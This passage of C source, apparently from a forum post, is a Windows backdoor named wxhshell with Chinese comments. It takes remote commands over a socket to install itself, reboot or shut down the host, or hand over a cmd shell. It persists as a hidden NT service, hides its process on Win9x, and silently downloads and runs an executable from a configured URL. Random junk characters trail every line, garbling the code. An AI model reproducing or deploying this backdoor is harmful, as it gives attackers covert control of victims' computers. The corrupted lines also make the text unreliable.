      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wxw3t@%mNm  
    break; 'r_{T=  
  } O/EI8Qvm  
  // 安装 IK~'ke  
  case 'i': { !bEy~.  
    if(Install()) x>MrB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4t3Y/X  
    else 0N02E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|`O8o?)  
    break; nl v8HC  
    } Ubtu?wRBW  
  // 卸载 n^Co  
  case 'r': { 2xy &mNx  
    if(Uninstall()) ?V6A:8t,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V'[Lqe,y  
    else UuDs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [k)xn3[  
    break; $-4OveS~B  
    } w@ 1g_dy  
  // 显示 wxhshell 所在路径 C>\0 "}iD  
  case 'p': { h>>KH*dQ  
    char svExeFile[MAX_PATH]; ]:Y@pZ  
    strcpy(svExeFile,"\n\r"); 9X<o8^V  
      strcat(svExeFile,ExeFile); Z!\xVCG"q  
        send(wsh,svExeFile,strlen(svExeFile),0); 8}9B*m  
    break; &fH;A X.  
    } tNsiokOm  
  // 重启 'F3cvpc`  
  case 'b': { D vG9(Eh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C:Tjue{G2  
    if(Boot(REBOOT)) ]&l.-0jt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J=QuZwt  
    else { 2M`]nAk2a  
    closesocket(wsh); ~zdHJ8tYp  
    ExitThread(0); $$my,:nH  
    } <_X`D4g]XO  
    break; !V|%n(O"  
    } v X=zqV  
  // 关机 5}J|YKyP  
  case 'd': { 34k}7k~n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g5THkxp  
    if(Boot(SHUTDOWN)) _ U/[n\oC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U;%I" p`Z/  
    else { 8WT^ES~C  
    closesocket(wsh); .Z[Bz7  
    ExitThread(0); px`o.%`'  
    } 6|# +  
    break; f+*wDH  
    } tl.I:A5L  
  // 获取shell $nX4!X  
  case 's': { $F> #1:=v<  
    CmdShell(wsh); _ ," -25a  
    closesocket(wsh); 3awh>1N2 W  
    ExitThread(0); jkz .qo-%  
    break; :)/%*<vq,  
  } gWlv;oq  
  // 退出 NI(fJ%U  
  case 'x': { \_H-TbU8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -p|JJx?r  
    CloseIt(wsh); wD(1Sr5n  
    break; <Uz~V;  
    } *Ru@F:  
  // 离开 IP)?dnwG  
  case 'q': { ED9uKp<Wbv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rgth2y]  
    closesocket(wsh); Iud]*5W  
    WSACleanup(); )TYrb:M'm  
    exit(1); E: EXp7  
    break; 6Xu^ cbD  
        } R~9\mi5^UH  
  } {z":hmt  
  } N =k}"2_=  
/]0-|Kg+R  
  // 提示信息 )HLe8:PG~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?`& l Y  
} [(%6]L}  
  } >FrF"u:kM  
+f#o ij  
  return; jlhyn0  
} >MXE)=  
<p_r{  
// shell模块句柄 1_chO?&,I  
int CmdShell(SOCKET sock) z^tws*u],5  
{ #g)$m}tv?  
STARTUPINFO si; HiTn5XNf  
ZeroMemory(&si,sizeof(si)); z:Sr@!DZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %cy]dEL7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b{:c0z<  
PROCESS_INFORMATION ProcessInfo; z:m`  
char cmdline[]="cmd"; ql Z()  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '%JIc~LJ  
  return 0; 8H0d4~Wg  
} `O:ecPD4M  
#2N']VP  
// 自身启动模式 2&L2G'  
int StartFromService(void) aD 33! :y  
{ P=Au~2X  
typedef struct t:pgw[UJ  
{ 0RaE!4)!;  
  DWORD ExitStatus; d E0 `tX  
  DWORD PebBaseAddress; Oa[G #  
  DWORD AffinityMask; U g 'y  
  DWORD BasePriority; wi{qN___  
  ULONG UniqueProcessId; [^iQE  
  ULONG InheritedFromUniqueProcessId; 6\8 lx|w  
}   PROCESS_BASIC_INFORMATION; s)?=4zJ  
P!;%DI!<b  
PROCNTQSIP NtQueryInformationProcess; SV-M8Im73z  
QG~4 <zy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; egOZ.oV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1M%'Xe7  
zn5U(>=c  
  HANDLE             hProcess; P[;<,U;'HO  
  PROCESS_BASIC_INFORMATION pbi; ^|h5*Tb  
F*&A=@/3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UIhU[f]  
  if(NULL == hInst ) return 0; N>Dr z  
fSe$w#*I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /}%$fB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p i ;,?p-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Idq &0<I  
&&(^;+  
  if (!NtQueryInformationProcess) return 0; v]"W.<B,  
_?9|0>]xG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0+a-l[!p  
  if(!hProcess) return 0; ;<aT| 4  
Zd2B4~V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mqy5>f)  
|sQC:y>  
  CloseHandle(hProcess); \S]"nHX  
$:{r#mM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o\n9(ao  
if(hProcess==NULL) return 0; ;S+UD~i[Bu  
HnDz4eD  
HMODULE hMod; i_ha^mq3  
char procName[255];  ,\HZIl[8  
unsigned long cbNeeded; J$9`[^pV  
PS" ,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7~gIOu  
4$j7DJ8dj  
  CloseHandle(hProcess); v[3QI7E3  
1qEpQ.:](  
if(strstr(procName,"services")) return 1; // 以服务启动 MfX1&/Z+  
H9@24NFb  
  return 0; // 注册表启动 C'6 yt  
} X(sN+7DOV  
?`m#Y&Oi  
// 主模块 PP2>v|  
int StartWxhshell(LPSTR lpCmdLine) ;oe j~  
{ h92'~X36  
  SOCKET wsl; ;IN!H@bq  
BOOL val=TRUE; *]L(,_:"  
  int port=0; )# ^5$5  
  struct sockaddr_in door; v/W\k.?q/  
:h4Nfz(  
  if(wscfg.ws_autoins) Install(); &#keI.,  
 j|Q*L<J  
port=atoi(lpCmdLine); \Vc-W|e  
@ m' zm:  
if(port<=0) port=wscfg.ws_port; xJ2DkZ  
z0@{5e$#Y  
  WSADATA data; oWJ0>)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,Z2fVz~9  
aan)yP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O{4G'CgN(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $#b@b[h<w  
  door.sin_family = AF_INET; :\]TAQd-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T^"-;  
  door.sin_port = htons(port); Ukf4Q\@w  
X?2ub/Nr#Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E%A] 8y7  
closesocket(wsl); {S+  $C  
return 1; !$q *~F"S  
} cO&(&*J r  
4,nUCT  
  if(listen(wsl,2) == INVALID_SOCKET) { *wSz2o),  
closesocket(wsl); \yQs[l%J  
return 1; ~9[^abz  
} 5:oteNc3  
  Wxhshell(wsl); cph&\ V2jt  
  WSACleanup(); SFj:|S=v6j  
S:.Vt&+NJ  
return 0; <)f1skJsP  
- &AgjzN!  
} 6RA4@bIG  
Ys+2/>!  
// 以NT服务方式启动 u$vA9g4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4[& L<D6h  
{ m %=] j<A  
DWORD   status = 0; |a>W9Ym  
  DWORD   specificError = 0xfffffff; +7`7cOqXg  
'@jP$6T&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D-v}@tS'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jcC "S qL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uR;m<wPH,f  
  serviceStatus.dwWin32ExitCode     = 0; d*M:P jG@  
  serviceStatus.dwServiceSpecificExitCode = 0; C(4r>TNm  
  serviceStatus.dwCheckPoint       = 0; /t4#-vz  
  serviceStatus.dwWaitHint       = 0; Wu{cE;t  
vs*Q {  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ##_`)/t,  
  if (hServiceStatusHandle==0) return; 1N3qMm^  
h$[tEmD%  
status = GetLastError(); JemB[  
  if (status!=NO_ERROR) Te\i;7;4u  
{ pGwBhZnb>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2r =8&~9z  
    serviceStatus.dwCheckPoint       = 0; x{o&nhuk[S  
    serviceStatus.dwWaitHint       = 0; vv  F:  
    serviceStatus.dwWin32ExitCode     = status; d=*&=r0!C{  
    serviceStatus.dwServiceSpecificExitCode = specificError; O/N Ed)H!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q5kf-~Jx+  
    return; KtR*/<7IC  
  } r+yl{  
MBjo9P(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T@{ }!  
  serviceStatus.dwCheckPoint       = 0; y)Y0SY1\j  
  serviceStatus.dwWaitHint       = 0; R&!{3!V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ::&hfHR*P  
} lDK<gd  
t XbMP  
// 处理NT服务事件,比如:启动、停止 rQrh(~\:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U?WS\Jji3!  
{ zfm-v U  
switch(fdwControl) t,v=~LE  
{  x%$as;  
case SERVICE_CONTROL_STOP: JSCZX:5  
  serviceStatus.dwWin32ExitCode = 0; ;7 F'xz"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Klv~#9Si  
  serviceStatus.dwCheckPoint   = 0; JX $vz*KF  
  serviceStatus.dwWaitHint     = 0; Qf$3!O}G  
  { 1( nK|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oh @|*RU  
  } #mFY?Zp)  
  return; YXFUZ9a#e  
case SERVICE_CONTROL_PAUSE: axpn*(yE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,cF $_7M  
  break; JvI6+[  
case SERVICE_CONTROL_CONTINUE: 'Cq)/}0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z~s"=kF,  
  break; W "}Cfv  
case SERVICE_CONTROL_INTERROGATE: LQr+)wI  
  break; !#b8QER  
}; 1dE |q{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); asLvJ{d8s  
} Iu=n$H  
FL8?<bU  
// 标准应用程序主函数 ]K^#'[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?T (@<T  
{ 8s@k0T<O  
C"JFN(f  
// 获取操作系统版本 $={^':Uh  
OsIsNt=GetOsVer(); *D_pFS^l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :'+- %xUM  
:#pfv)W6t  
  // 从命令行安装 [ELg:f3}5  
  if(strpbrk(lpCmdLine,"iI")) Install(); s2N~p^  
1P '_EJ]M  
  // 下载执行文件 UbDRE[^P  
if(wscfg.ws_downexe) { $HE ?B{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nfdh0v  
  WinExec(wscfg.ws_filenam,SW_HIDE); o'hwyXy/S  
} \-F F[:|J  
vf&Sk`  
if(!OsIsNt) { ]y52%RAKI  
// 如果时win9x,隐藏进程并且设置为注册表启动 '(S@9%,aK1  
HideProc(); y(2FaTjM  
StartWxhshell(lpCmdLine); ;v=v4f'+  
} Gd:fh5u':  
else Q!&@aKl  
  if(StartFromService()) $,&3:ke1  
  // 以服务方式启动 nN|1cJ'.Fk  
  StartServiceCtrlDispatcher(DispatchTable); <aVfgVS  
else P+/6-CJ  
  // 普通方式启动 )=EJFQ*v  
  StartWxhshell(lpCmdLine); "6} #65  
5m(V(@a3  
return 0;  fcLVE  
}
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只看该作者 1 发表于: 2006-10-10
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